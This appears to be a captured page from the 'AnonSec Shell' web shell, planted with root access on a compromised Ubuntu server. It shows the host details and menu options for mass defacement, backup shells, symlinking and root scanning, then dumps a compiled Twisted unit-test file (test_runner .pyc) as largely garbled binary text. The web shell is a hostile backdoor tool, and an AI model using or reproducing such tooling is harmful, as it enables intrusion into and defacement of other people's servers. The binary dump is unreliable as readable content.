AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/application/runner/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/application/runner/test/__pycache__/test_runner.cpython-310.pyc
o

�b�8�@sddZddlZddlmZddlmZddlmZddlm	Z	m
Z
mZmZm
Z
mZmZmZmZddlmZmZmZddlZddlmZdd	lmZmZmZmZmZm Z m!Z!dd
l"m#Z#ddl$m%Z%d
dl&m'Z'd
dl(m)Z)m*Z*d
dl%m+Z+Gdd�dej,j-j.�Z/edd�Gdd�de+��Z0Gdd�de)�Z1Gdd�d�Z2Gdd�d�Z3Gdd�d�Z4Gdd �d �Z5dS)!z2
Tests for L{twisted.application.runner._runner}.
�N)�StringIO)�SIGTERM)�
TracebackType)	�Any�Iterable�List�Optional�TextIO�Tuple�Type�Union�cast)�Factory�attrib�attrs)�
MemoryReactor)�FileLogObserver�FilteringLogObserver�ILogObserver�LogBeginner�LogLevel�LogLevelFilterPredicate�LogPublisher)�FilePath�)�_runner�)�
ExitStatus)�NonePIDFile�PIDFile)�Runnerc@s�eZdZdZd)deedefdd�Zd*dd�Zd*d	d
�Z	d*dd�Z
d*d
d�Zd*dd�Zd*dd�Z
d*dd�Zd*dd�Zd*dd�Zd*dd�Zd*dd�Zd*dd�Zd*dd �Zd*d!d"�Zd*d#d$�Zd)d%ed&eeddfd'd(�ZdS)+�RunnerTestsz
    Tests for L{Runner}.
    N�content�returncCs"t|���}|dur|�|�|S�N)r�mktemp�
setContent)�selfr"�filePath�r)�M/usr/lib/python3/dist-packages/twisted/application/runner/test/test_runner.pyr('s
zRunnerTests.filePathcCs�t�|_t�|_|�td|j�|�td|j�d|_|j�d���|_t	�|_
t	�|_t|j
|j�|_
t�|_t�|_t|j|j
j|j
|j�|_|�td|j�|�td|j�dS)N�exit�killi9�
�stderr�globalLogBeginner)�	DummyExitr+�	DummyKillr,�patchr�pid�encode�pidFileContentr�stdoutr.�DummyStandardIO�stdio�DummyWarningsModule�warningsr�globalLogPublisherrr/�r'r)r)r*�setUp-s&�zRunnerTests.setUpcCs*tt�d�}|��|�|jgd��dS)zD
        L{Runner.run} calls the expected methods in order.
        ��reactor)�killIfRequested�startLogging�startReactor�
reactorExitedN)�DummyRunnerr�run�assertEqual�
calledMethods�r'�runnerr)r)r*�test_runInOrderOs�zRunnerTests.test_runInOrdercCsPt�}tt�|d�}|�|j�|�|j�|��|�|j�|�|j�dS)z;
        L{Runner.run} uses the provided PID file.
        �r?�pidFileN)�DummyPIDFiler r�assertFalse�entered�exitedrE�
assertTrue�r'rLrIr)r)r*�test_runUsesPIDFile`szRunnerTests.test_runUsesPIDFilecCsVt|�|j��}dd�|_tt�|d�}|��|�|jj	t
j�|�|jjd�dS)z�
        L{Runner.run} exits with L{ExitStatus.EX_USAGE} and the expected
        message if a process is already running that corresponds to the given
        PID file.
        cS�dS�NTr)r)r)r)r*�<lambda>w�z4RunnerTests.test_runAlreadyRunning.<locals>.<lambda>rKzAlready running.N)
rr(r5�	isRunningr rrErFr+�statusr�	EX_CONFIG�messagerRr)r)r*�test_runAlreadyRunningps
z"RunnerTests.test_runAlreadyRunningcCs6tt�d�}|��|�|jjg�|�|jj�dS)z�
        L{Runner.killIfRequested} when C{kill} is false doesn't exit and
        doesn't indiscriminately murder anyone.
        r>N)	r rr@rFr,�callsrNr+rPrHr)r)r*�test_killNotRequestedsz!RunnerTests.test_killNotRequestedcCsLtt�dd�}|��|�|jjg�|�|jjtj	�|�|jj
d�dS)z�
        L{Runner.killIfRequested} when C{kill} is true but C{pidFile} is
        L{nonePIDFile} exits with L{ExitStatus.EX_USAGE} and the expected
        message; and also doesn't indiscriminately murder anyone.
        T)r?r,zNo PID file specified.N)r rr@rFr,r]r+rYr�EX_USAGEr[rHr)r)r*� test_killRequestedWithoutPIDFile�s
z,RunnerTests.test_killRequestedWithoutPIDFilecCsft|�|j��}tt�d|d�}|��|�|jj|j	t
fg�|�|jjt
j�|�|jjd�dS)z�
        L{Runner.killIfRequested} when C{kill} is true and given a C{pidFile}
        performs a targeted killing of the appropriate process.
        T�r?r,rLN)rr(r5r rr@rFr,r]r3rr+rYr�EX_OK�assertIdenticalr[rRr)r)r*�test_killRequestedWithPIDFile�sz)RunnerTests.test_killRequestedWithPIDFilecCs`t|�d��}dtfdd�}||_tt�d|d�}|��|�|jj	t
j�|�|jjd�dS)z�
        L{Runner.killIfRequested} when C{kill} is true and given a C{pidFile}
        that it can't read exits with L{ExitStatus.EX_IOERR}.
        Nr#cSsttjd��)NzPermission denied)�OSError�errno�EACCESr)r)r)r*�read�sz?RunnerTests.test_killRequestedWithPIDFileCantRead.<locals>.readTrazUnable to read PID file.)
rr(�intrhr rr@rFr+rYr�EX_IOERRr[)r'rLrhrIr)r)r*�%test_killRequestedWithPIDFileCantRead�sz1RunnerTests.test_killRequestedWithPIDFileCantReadcC�Lt|�d��}tt�d|d�}|��|�|jjtj	�|�|jj
d�dS)z�
        L{Runner.killIfRequested} when C{kill} is true and given a C{pidFile}
        containing no value exits with L{ExitStatus.EX_DATAERR}.
        �Tra�Invalid PID file.N�rr(r rr@rFr+rYr�
EX_DATAERRr[rRr)r)r*�"test_killRequestedWithPIDFileEmpty��
z.RunnerTests.test_killRequestedWithPIDFileEmptycCrl)z�
        L{Runner.killIfRequested} when C{kill} is true and given a C{pidFile}
        containing a non-integer value exits with L{ExitStatus.EX_DATAERR}.
        s ** totally not a number, dude **TrarnNrorRr)r)r*�%test_killRequestedWithPIDFileNotAnInt�rrz1RunnerTests.test_killRequestedWithPIDFileNotAnIntcst�}G�fdd�d��|�td���G�fdd�dt��|�td��G�fdd�dt��tt�tj|�d	�}|�	�|�
t�j�d
�|�
�jdt�|�
t�j�d
�|�
�jdt�|��jdjtj�t��j�}|�
|��|�|j|�dS)
z�
        L{Runner.startLogging} sets up a filtering observer with a log level
        predicate set to the given log level that contains a file observer of
        the given type which writes to the given file.
        cs8eZdZUgZeeed<deeddf�fdd�ZdS)z2RunnerTests.test_startLogging.<locals>.LogBeginner�	observersr#Ncst|��_dSr$)�listrt)r'rt�rr)r*�beginLoggingTo��zARunnerTests.test_startLogging.<locals>.LogBeginner.beginLoggingTo)	�__name__�
__module__�__qualname__rtrr�__annotations__rrwr)rvr)r*r�s
rr/csZeZdZUdZeeed<gZee	ed<e
edd��fdedee	def�fdd�
ZdS)	z?RunnerTests.test_startLogging.<locals>.MockFilteringLogObserverN�observer�
predicatescSsdSr$r))�eventr)r)r*rV�rWzHRunnerTests.test_startLogging.<locals>.MockFilteringLogObserver.<lambda>�negativeObservercs$|�_t|��_t�||||�dSr$)r}rur~r�__init__)r'r}r~r���MockFilteringLogObserverr)r*r��s

�zHRunnerTests.test_startLogging.<locals>.MockFilteringLogObserver.__init__)
ryrzr{r}rrr|r~rrr
rr�r)r�r)r*r��s
����r�rcs4eZdZUdZeeed<deddf�fdd�ZdS)z:RunnerTests.test_startLogging.<locals>.MockFileLogObserverN�outFiler#cs|�_t�||t�dSr$)r�rr��str)r'r���MockFileLogObserverr)r*r��szCRunnerTests.test_startLogging.<locals>.MockFileLogObserver.__init__)ryrzr{r�rr	r|r�r)r�r)r*r��s
r�)r?�defaultLogLevel�logFile�fileLogObserverFactory�rN)rr2rrrr rr�criticalrArF�lenrt�assertIsInstancer~rrcr�r
r}r�)r'r�rIr}r))rr�r�r*�test_startLogging�s2�
��zRunnerTests.test_startLoggingcCs(t�}t|d�}|��|�|j�dS)ze
        L{Runner.startReactor} with the C{reactor} argument runs the given
        reactor.
        r>N)rr rBrQ�hasRun)r'r?rIr)r)r*�test_startReactorWithReactors
z(RunnerTests.test_startReactorWithReactorcCs|�dd�dS)z�
        L{Runner.startReactor} ensures that C{whenRunning} is called with
        C{whenRunningArguments} when the reactor is running.
        �whenRunningrBN��	_testHookr<r)r)r*�test_startReactorWhenRunning&sz(RunnerTests.test_startReactorWhenRunningcC�|�d�dS)zb
        L{Runner.whenRunning} calls C{whenRunning} with
        C{whenRunningArguments}.
        r�Nr�r<r)r)r*�test_whenRunningWithArguments-�z)RunnerTests.test_whenRunningWithArgumentscCr�)zf
        L{Runner.whenRunning} calls C{reactorExited} with
        C{reactorExitedArguments}.
        rCNr�r<r)r)r*�test_reactorExitedWithArguments4r�z+RunnerTests.test_reactorExitedWithArguments�
methodName�
callerNamecs�|dur|}tt�t�t�d�}g�dtddf�fdd�}|||�d�|��i}tddt�i|��}t||�}|�|�t��d	�|��d
|�dS)a�
        Verify that the named hook is run with the expected arguments as
        specified by the arguments used to create the L{Runner}, when the
        specified caller is invoked.

        @param methodName: The name of the hook to verify.

        @param callerName: The name of the method that is expected to cause the
            hook to be called.
            If C{None}, use the L{Runner} method with the same name as the
            hook.
        N)�a�b�c�	argumentsr#cs��|�dSr$)�append)r���
argumentsSeenr)r*�hookNrxz#RunnerTests._testHook.<locals>.hook�	Argumentsr?r�rr))�dict�object�copyr r�getattrrFr�)r'r�r�r�r��runnerArgumentsrI�
hookCallerr)r�r*r�;s"
���
zRunnerTests._testHookr$�r#N)ryrzr{�__doc__r�bytesrr(r=rJrSr\r^r`rdrkrqrsr�r�r�r�r�r�r�r)r)r)r*r!"s&

"









M


 r!T)�frozenc@sLeZdZdZeeeee�d�Z	d
dd�Z
d
dd�Zd
d	d
�Zd
dd�Z
dS)rDzg
    Stub for L{Runner}.

    Keep track of calls to some methods without actually doing anything.
    )�type�defaultr#NcC�|j�d�dS)Nr@�rGr�r<r)r)r*r@j�zDummyRunner.killIfRequestedcCr�)NrAr�r<r)r)r*rAmr�zDummyRunner.startLoggingcCr�)NrBr�r<r)r)r*rBpr�zDummyRunner.startReactorcCr�)NrCr�r<r)r)r*rCsr�zDummyRunner.reactorExitedr�)ryrzr{r�rrr�rrurGr@rArBrCr)r)r)r*rD`s


rDc@sNeZdZdZd
dd�Zddd�Zdeeed	eed
ee	ddfdd�Z
dS)rMz]
    Stub for L{PIDFile}.

    Tracks context manager entry/exit without doing anything.
    r#NcCst�|�d|_d|_dS�NF)rr�rOrPr<r)r)r*r�~s

zDummyPIDFile.__init__cCs
d|_|SrU)rOr<r)r)r*�	__enter__�szDummyPIDFile.__enter__�excType�excValue�	tracebackcC�
d|_dSrU�rP)r'r�r�r�r)r)r*�__exit__�s
zDummyPIDFile.__exit__r�)r#rM)ryrzr{r�r�r�rr�
BaseExceptionrr�r)r)r)r*rMws


����rMc@s@eZdZdZd
dd�Z	ddeeefdee	ddfdd	�Z
dS)r0zy
    Stub for L{_exit.exit} that remembers whether it's been called and, if it has,
    what arguments it was given.
    r#NcCr�r�r�r<r)r)r*r���
zDummyExit.__init__rYr[cCs |jrJ�||_||_d|_dSrU)rPrYr[)r'rYr[r)r)r*�__call__�s

zDummyExit.__call__r�r$)ryrzr{r�r�rrirrr�r�r)r)r)r*r0�s
�
���r0c@s0eZdZdZd
dd�Zdededdfdd	�ZdS)r1zv
    Stub for L{os.kill} that remembers whether it's been called and, if it has,
    what arguments it was given.
    r#NcCs
g|_dSr$)r]r<r)r)r*r��r�zDummyKill.__init__r3�sigcCs|j�||f�dSr$)r]r�)r'r3r�r)r)r*r��szDummyKill.__call__r�)ryrzr{r�r�rir�r)r)r)r*r1�s
r1c@�&eZdZdZdededdfdd�ZdS)r7zR
    Stub for L{sys} which provides L{StringIO} streams as stdout and stderr.
    r6r.r#NcCs||_||_dSr$)r6r.)r'r6r.r)r)r*r��s
zDummyStandardIO.__init__)ryrzr{r�r	r�r)r)r)r*r7��r7c@r�)r9zV
    Stub for L{warnings} which provides a C{showwarning} method that is a no-op.
    �args�kwargsr#NcOrT)z\
        Do nothing.

        @param args: ignored.
        @param kwargs: ignored.
        Nr))r�r�r)r)r*�showwarning�rWzDummyWarningsModule.showwarning)ryrzr{r�rr�r)r)r)r*r9�r�r9)6r�rf�ior�signalr�typesr�typingrrrrr	r
rrr
�attrrrr�twisted.trial.unittest�twisted�twisted.internet.testingr�twisted.loggerrrrrrrr�twisted.python.filepathrrIr�_exitr�_pidfilerrr �trial�unittest�TestCaser!rDrMr0r1r7r9r)r)r)r*�<module>s2,$	@


Anon7 - 2022
AnonSec Team